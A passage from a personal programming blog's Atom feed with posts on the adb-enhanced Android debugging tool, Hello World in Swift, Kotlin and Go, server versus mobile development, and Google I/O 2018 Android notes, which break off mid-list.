            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># For a more aggressive kill, try adbe force-stop com.example</span>
</span></span><span style="display:flex;"><span>adbe stop com.example</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>To test your app under doze mode</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>adbe doze on <span style="color:#586e75"># Use &#34;off&#34; to turn the doze mode off</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>To see to overdraw of the app</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>adbe overdraw on</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>I open-sourced the code at   
    
    
<a href="https://github.com/ashishb/adb-enhanced?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ashishb/adb-enhanced</a>.
See the GitHub repository for what all this tool can do.
Feedbacks and pull requests are welcome.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/adb" term="adb" label="adb"/><category scheme="https://ashishb.net/tag/adb-enhanced" term="adb-enhanced" label="adb-enhanced"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Swift, Kotlin, and Go</title><link href="https://ashishb.net/programming/swift-kotlin-and-go/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/how-to-speed-up-html5-videos/?utm_source=atom_feed" rel="related" type="text/html" title="How to speed up HTML5 videos"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><id>https://ashishb.net/programming/swift-kotlin-and-go/</id><author><name>Ashish Bhatia</name></author><published>2018-06-20T05:27:00+00:00</published><updated>2018-06-20T05:27:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the similarities in Swift, Kotlin, and Go with a breakdown of a simple &ldquo;Hello World&rdquo; program, showcasing their seamless integration for iOS, Android, and servers.</blockquote><p>It is impressive to see the amount of similarity which exists in Swift, Kotlin and Go, the three new languages for iOS, Android, and server-development respectively.</p>
<p>Consider a simple, Hello World program.</p>
<p>Swift</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Swift
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-swift" data-lang="swift"><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">printHello</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// Type automatically inferred to string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">let</span> <span style="color:#268bd2">name</span> = <span style="color:#2aa198">&#34;Ashish&#34;</span> <span style="color:#586e75">// let declares a read-only variable</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">print</span>(<span style="color:#2aa198">&#34;Hello world from </span><span style="color:#2aa198">\(</span>name<span style="color:#2aa198">)</span><span style="color:#2aa198">!&#34;</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Kotlin</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Kotlin
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-kotlin" data-lang="kotlin"><span style="display:flex;"><span><span style="color:#719e07">fun</span> <span style="color:#268bd2">printHello</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// Type automatically inferred to string
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>  <span style="color:#719e07">val</span> name = <span style="color:#2aa198">&#34;Ashish&#34;</span>  <span style="color:#586e75">// val declares a read-only value, var declares a read-write variable
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>  println(<span style="color:#2aa198">&#34;Hello world from </span><span style="color:#2aa198">${name}</span><span style="color:#2aa198">&#34;</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Go</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">import</span> fmt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">printHello</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// Type automatically inferred to string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> name = <span style="color:#2aa198">&#34;ashish&#34;</span>  <span style="color:#586e75">// const declares a constant value</span>
</span></span><span style="display:flex;"><span>  fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Hello world from %s&#34;</span>, name);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Server vs mobile development: Where the code runs matter</title><link href="https://ashishb.net/tech/server-vs-mobile-development-where-code-runs-matter/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/?utm_source=atom_feed" rel="related" type="text/html" title="Startup founders: How not to write an email"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><id>https://ashishb.net/tech/server-vs-mobile-development-where-code-runs-matter/</id><author><name>Ashish Bhatia</name></author><published>2018-05-21T03:46:40+00:00</published><updated>2018-05-21T03:46:40+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the key differences in running code on servers versus mobile devices, highlighting control, platform constraints, network issues, and resource management.</blockquote><p>When the code runs on your servers, you have much more control over the &ldquo;context&rdquo; in which it runs. On the mobile devices, the device OS and the user control the context. This difference leads to some subtle implications.</p>
<p>One significant set of differences comes from the lack of control of the platform. For server-side code, one can choose from a wide array of languages. For the mobile code, however, the best choice would almost always be the one dictated by the platform - Java/Kotlin on Android and  Objective-C/Swift on iOS. Further, for the server-side where one can stick to a particular version of the language. In the case of mobile, the platform controls the language version. Same goes regarding the hardware choices - one can choose to use different types of server machines specialized in handling those jobs, eg. GPUs for math-intensive computes. While for the mobile-code, one had to write a good enough fallback to support a wide-enough set the devices. Similarly, the server-side has to rarely worry about the server killing a running process while it is normal for mobile OSes to kill backgrounded processes eventually.</p>
<p>The other set of differences comes from the temporary changes to the platform introduced by the carrier and the user. A network request running on mobile has to be robust enough to deal with intermittent broken connectivity to outright unavailability of a data connection, e.g., due to the user switching to the airplane mode. On mobile, network type matters as well. A network request on cellular would usually cost more than a network request on Wi-Fi to the user and a network request on roaming even more. On mobile, the code has to be aware of not doing unnecessary work when the user is low on battery. Server-side code is rarely subjected to such constraints.</p>
<p>Lastly, it is possible to parallelize and speed up the server-side code by adding more resources like RAM or better CPUs. If a certain number of servers are not enough, you can add more. There isn&rsquo;t usually a way to offload compute-intensive or memory-intensive work off of the mobile devices without trading it off for network latency and sometimes, user&rsquo;s privacy as well. While it might be preferable to go with a multi-processing approach in the server code to avoid concurrency issues, on the mobile, however, multi-threading being more straightforward and less resource-intensive is almost always the choice.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Google I/O 2018: Android Notes</title><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><id>https://ashishb.net/tech/google-i-o-2018-android-notes/</id><author><name>Ashish Bhatia</name></author><published>2018-05-14T15:00:58+00:00</published><updated>2018-05-14T15:00:58+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the latest Android development best practices, including adopting Kotlin, AndroidX, RecyclerView, and more, to boost app performance and user experience.</blockquote><h3 id="highlights">Highlights</h3>
<ol>
<li>All android support library code is moving to the androidx namespace. No more android.support.v4 or android. support.v7 namespaces.</li>
<li>  
    
    
<a href="https://developer.android.com/platform/technology/app-bundle/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android app bundle</a> to split the app into downloadable modules</li>
<li>  
    
    
<a href="https://developer.android.com/topic/libraries/architecture/navigation/navigation-implementing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Navigation library</a> to set up navigation between different activities/fragments.</li>
<li>Use   
    
    
<a href="https://developer.android.com/topic/libraries/architecture/workmanager?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WorkManager</a> for background work - this is an improvement to JobScheduler</li>
<li>Major improvements to Android Studio. Most standalone tools were deprecated in favor of adding the same functionality into Android Studio.</li>
<li>Major improvements to Android Vitals which in Google Play to learn more about what&rsquo;s going on with the Android app&rsquo;s performance.</li>
<li>Android P does more profiling to improve code locality for faster execution.</li>
</ol>
<h3 id="modern-android-development">Modern Android Development</h3>
<ol>
<li>hierarchy viewer is replaced by ViewTree in Android Studio</li>
<li>TraceView is replaced by Systrace in Android Studio</li>
<li>Profiler (DDMS) is replaced by Android Profiler in Android Studio</li>
<li>Dalvik is replaced by ART</li>
<li>Java is replaced by Kotlin as a preferred language</li>
<li>Layouts
<ol>
<li>Absolute Layout - deprecated</li>
<li>Linear Layout - still OK</li>
<li>Frame Layout - still OK</li>
<li>Grid Layout - discouraged</li>
<li>Relative Layout - discouraged</li>
<li>ConstraintLayout - recommended</li>
</ol>
</li>
<li>ListView, GridView, and Gallery are deprecated. RecyclerView is recommended with   
    
    
<a href="https://developer.android.com/reference/android/support/v7/recyclerview/extensions/ListAdapter?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ListAdapter</a> for updations.</li>
<li>Platform Fragments (android.app.fragments) are deprecated. Support library fragments are recommended.</li>
<li>Single activity app recommended</li>
<li>Rather than managing activity lifecycle use   
    
    
<a href="https://developer.android.com/reference/android/arch/lifecycle/Lifecycle?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lifecycle</a> to observe state changes</li>
<li>Rather than keeping plain data with views, use   
    
    
<a href="https://developer.android.com/reference/android/arch/lifecycle/LiveData?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LiveData</a> to update views automatically. Use   
    
    
<a href="https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ViewModel</a> to deal with screen rotation.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/arch/persistence/room/Room?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Room</a> is recommended in place of SQLite</li>
<li>CursorAdapter and AsyncListUtil are discouraged. Use   
    
    
<a href="https://developer.android.com/reference/android/arch/paging/package-summary?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Paging</a> instead with a neat, graceful   
    
    
